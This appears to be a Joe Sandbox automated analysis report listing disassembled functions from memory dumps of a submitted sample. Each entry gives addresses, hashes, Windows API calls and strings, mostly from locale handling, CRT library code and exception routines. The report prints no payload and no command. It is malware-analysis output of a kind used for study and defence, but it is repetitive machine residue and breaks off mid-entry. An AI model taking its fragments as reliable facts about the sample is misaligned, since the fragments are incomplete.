Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 4e3af857a526484e895d030c1c3f79ec6a813218ac54ec6a4f36f6faa182ff17
Instruction ID: 6591c727f574c3721ee2d0b3e04cb4782c436b7061f2536f429af5139bc1f987
Opcode Fuzzy Hash: 4e3af857a526484e895d030c1c3f79ec6a813218ac54ec6a4f36f6faa182ff17
Instruction Fuzzy Hash: 9BF0643210015ABFCF126F90DC09ADE3E6AAB883A0B058010FA1865060CB36D971EB94

Function 00909FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,0090A1F9,0090A1ED,00000000), ref: 00909FDC

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 51173443dd45f33e5c5a5f424cbaaffa75af98ea2ea9e773b2895d207f87a8bd
Instruction ID: d04dec6259e7aa6c1b231a852e767ce296c6db2f9c3f3d0aa55afd2fdab88a6c
Opcode Fuzzy Hash: 51173443dd45f33e5c5a5f424cbaaffa75af98ea2ea9e773b2895d207f87a8bd
Instruction Fuzzy Hash: CC514A7190825C9EDB218A28CD80BE67BBCEB5A304F2405A9D19AC71C2D3759D46DF61

Non-executed Functions

Function 0090D39B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0090D57F

Strings

1#INF, xrefs: 0090D4D1
1#QNAN, xrefs: 0090D4AE
1#SNAN, xrefs: 0090D4A7
1#IND, xrefs: 0090D4A0

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: d9dad922f26d8af06a8bf1922024c47d38a20a061e9d2f122ce2e44f9ce75460
Instruction ID: 3c679f0da26eaf63680b076b66234ec68250821d99b1a3079eda1db4fd2d2fc7
Opcode Fuzzy Hash: d9dad922f26d8af06a8bf1922024c47d38a20a061e9d2f122ce2e44f9ce75460
Instruction Fuzzy Hash: FAD23C71E092298FDB65CF68DD407EAB7B9EB85304F1445EAD40DE7280E778AE818F41

Function 0090C814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0090CB32,00000002,00000000,?,?,?,0090CB32,?,00000000), ref: 0090C8AD
GetLocaleInfoW.KERNEL32(?,20001004,0090CB32,00000002,00000000,?,?,?,0090CB32,?,00000000), ref: 0090C8D6
GetACP.KERNEL32(?,?,0090CB32,?,00000000), ref: 0090C8EB

Strings

OCP, xrefs: 0090C868
ACP, xrefs: 0090C832

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 0effd1e9b8e0033f3c908fefe1bc8a877a5afe1c0f842359af80c5f6cf35900b
Instruction ID: c59c180a79816eda4cf20a44c6a85340850feb0229f5037ccf62d57994cda60c
Opcode Fuzzy Hash: 0effd1e9b8e0033f3c908fefe1bc8a877a5afe1c0f842359af80c5f6cf35900b
Instruction Fuzzy Hash: 3E2190A2B00201EEDB348F55C945A9B73AAEF54F50B56C624ED0AD7290EB32DE41D358

Function 0090C9E9 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00904EB1: GetLastError.KERNEL32(?,00000008,00909482), ref: 00904EB5
Part of subcall function 00904EB1: SetLastError.KERNEL32(00000000,0091C480,00000024,00900419), ref: 00904F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0090CAF5
IsValidCodePage.KERNEL32(00000000), ref: 0090CB3E
IsValidLocale.KERNEL32(?,00000001), ref: 0090CB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0090CB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0090CBB4

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 9d46db91f87ed7233931f3e9d62bc968560efc8922f227f8d087b0874dd80f9f
Instruction ID: 5345f0d85c0b399257a133c0fd943d0b408e0ce0200f818ef5cb24b68b51b189
Opcode Fuzzy Hash: 9d46db91f87ed7233931f3e9d62bc968560efc8922f227f8d087b0874dd80f9f
Instruction Fuzzy Hash: 75513DB2A0020AAFDB10DFA5DC42BBAB7BCFF48700F144669E911E71D1E7709A44CB61

Function 0090C085 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00904EB1: GetLastError.KERNEL32(?,00000008,00909482), ref: 00904EB5
Part of subcall function 00904EB1: SetLastError.KERNEL32(00000000,0091C480,00000024,00900419), ref: 00904F57

GetACP.KERNEL32(?,?,?,?,?,?,00901848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0090C146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00901848,?,?,?,00000055,?,-00000050,?,?), ref: 0090C171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0090C2D4

Strings

utf8, xrefs: 0090C243

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: 11275fba767e37bab50afe1bc482933bc4c42d5e42f4fb2474321b35106ee144
Instruction ID: c674fc8ca1b8ab94d6023ca03bfe66d14511a417bd9c99e9ebc866f6a136386b
Opcode Fuzzy Hash: 11275fba767e37bab50afe1bc482933bc4c42d5e42f4fb2474321b35106ee144
Instruction Fuzzy Hash: 2F7107B1604306AEDB24AB79CC42BBB73ACEF85B00F144629FA15D75C1EB74E941D7A0

Function 00903C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00903D1F

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: 9b744dcaf6dbc4417d2f5efb80dcb4a7e694ffad210753360dee7e1b9a268df5
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: 3EB12B72E042569FEB158F68C8817EEBBBDEF55350F14C26AE905EB2C1D2349E05C760

Function 008F7922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 008F792E
IsDebuggerPresent.KERNEL32 ref: 008F79FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 008F7A13
UnhandledExceptionFilter.KERNEL32(?), ref: 008F7A1D

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3fa022c8ed5b3c792da7211f8ba1970762d18ef48d6b050b4b50716ab9f3ab86
Instruction ID: 704adc5cdaf9322702f33e0eb4fb7618d8fcdb9be930f898c25b76e8411db1aa
Opcode Fuzzy Hash: 3fa022c8ed5b3c792da7211f8ba1970762d18ef48d6b050b4b50716ab9f3ab86
Instruction Fuzzy Hash: 6E31E575E0522C9ADB60DFA4D9497DDBBB8BF08300F1081AAE50CAB250EB719B85CF45

Function 0090C498 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00904EB1: GetLastError.KERNEL32(?,00000008,00909482), ref: 00904EB5
Part of subcall function 00904EB1: SetLastError.KERNEL32(00000000,0091C480,00000024,00900419), ref: 00904F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0090C4EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0090C536
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0090C5FC

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: aafa446ba486d9d9023adf8a34e92dbb36d3587c64cf44b65dbbcc41c4586635
Instruction ID: 0871d173f6aff49887a283e7345d8d0bbf714ee1d37291b44ebf303b5f00c8b9
Opcode Fuzzy Hash: aafa446ba486d9d9023adf8a34e92dbb36d3587c64cf44b65dbbcc41c4586635
Instruction Fuzzy Hash: 7B619EB69142079FDB289F28CC82BBA77ADFF44311F10427AE905C65C5EB36E941DB50

Function 008FDA73 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 008FDB6B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 008FDB75
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 008FDB82

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 32c3e45b3d8dc0896061039f8a4251b075e3c9d341f3f469f0dc316c874a8385
Instruction ID: 08f34e8eb9e5ece9141a39bf5196f21be4a91ad253ed96de0de8bdbc678a6cd0
Opcode Fuzzy Hash: 32c3e45b3d8dc0896061039f8a4251b075e3c9d341f3f469f0dc316c874a8385
Instruction Fuzzy Hash: 8531B27491122CABCB21DF68D989BDCBBB8FF08310F5041DAE51CA6251EB749B858F45

Function 008FFEF0 Relevance: 3.4, APIs: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction ID: 5890ad1e1ce4f1a9213b9f86afc50ab2fda863dae0f1fa1120f1dcccb2e40cef
Opcode Fuzzy Hash: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction Fuzzy Hash: 41F12F71E012199FDF14CFA8C8847ADB7B5FF89324F158269E919A7381D730AE45CB90

Function 0093945D Relevance: 2.9, Strings: 2, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 00939788
/, xrefs: 00939510

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: e0872cb26255705f7d48561bd0d36eae2ccbb937a8561f5ea2d9795a88105742
Instruction ID: 9a887cef009367609346d9d18bc88a073db5bb7776815996e61e22f6c31f3065
Opcode Fuzzy Hash: e0872cb26255705f7d48561bd0d36eae2ccbb937a8561f5ea2d9795a88105742
Instruction Fuzzy Hash: 3202C5B1D042688FDF21CF68C8807EEBBB9AF85304F1445E9D949AB246D7748E84CF95

Function 009364F5 Relevance: 2.7, Strings: 2, Instructions: 178COMMON

Download Yara Rule

Strings

x`C, xrefs: 00936584
``C, xrefs: 0093656B

Memory Dump Source

Source File: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID: ``C$x`C
API String ID: 0-4276601940
Opcode ID: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction ID: 774d7bffa78726f6369d9f35a2bab2cb7f9b270a847e19d2391e0a2b9ec61c22
Opcode Fuzzy Hash: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction Fuzzy Hash: 0651D373900216ABEB18CF58D4816E977B5EFD4308F2694BED84AEF286EB305905CF50

Function 0090572C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00905727,?,?,00000008,?,?,009115F5,00000000), ref: 00905959

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 8186097d733833fe0be829ed3de5d426d71dd573f0fedc6556c577c32155a99e
Instruction ID: 2ad442e4d02d6f65866892b80812b09cea8a49d63cf3df4c1d1ce7fc6e0990ac
Opcode Fuzzy Hash: 8186097d733833fe0be829ed3de5d426d71dd573f0fedc6556c577c32155a99e
Instruction Fuzzy Hash: 16B11A31610A09DFD719CF28C486B667BA4FF45364F6A8658E899CF2E1C335E992CF40

Function 008F729C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 008F72B2

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 5749693c90924292a7d44165d8bc3296e7794fc238036556281756383e377378
Instruction ID: b1f4e989a534d7586cc9e613a293a57929b58efe06d95342f74cd820d101ae3b
Opcode Fuzzy Hash: 5749693c90924292a7d44165d8bc3296e7794fc238036556281756383e377378
Instruction Fuzzy Hash: BFA14EB2A2A619CFEB18CF78D8826A9BBF1FB4C314F14816AD519E7360D3349941DF50

Function 00909ABF Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24a8e6ef69b74b8a46eb35749e467aad0f49936e4c821c54d86897073a1ff300
Instruction ID: 0fae64ad65fda32b87ca2c905f3c7a345aa83e9a31f2113dce6a65e2cd91018d
Opcode Fuzzy Hash: 24a8e6ef69b74b8a46eb35749e467aad0f49936e4c821c54d86897073a1ff300
Instruction Fuzzy Hash: DF31D772900219AFDB20EFB8DC85EBB77BDEB84714F148558F91597285EA70EE408B50

Function 008FCAF2 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 008FCC80

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8f0000_f1r6P3j3g7.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 2aa8159d2a6b59593d3b61d8587582069a801e86e025de116aa0b920aa02bddc
Instruction ID: 0ec98c53871b841519490563b49e33e31ce8d3d1920632cb32d3e7847e356a8d
Opcode Fuzzy Hash: 2aa8159d2a6b59593d3b61d8587582069a801e86e025de116aa0b920aa02bddc
Instruction Fuzzy Hash: 10C1DF74A0460E8FCB28CF38C6816BEBBB2FF45324F244619D656DB291D731AE45CB91

Function 0090C6EB Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00904EB1: GetLastError.KERNEL32(?,00000008,00909482), ref: 00904EB5
Part of subcall function 00904EB1: SetLastError.KERNEL32(00000000,0091C480,00000024,00900419), ref: 00904F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0090C73F

Memory Dump Source

Source File: 00000000.00000002.1814694537.00000000008F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008F0000, based on PE: true

Associated: 00000000.00000002.1814659082.00000000008F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1814815531.0000000000913000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815227914.000000000097D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815287823.000000000097F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815364715.0000000000980000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

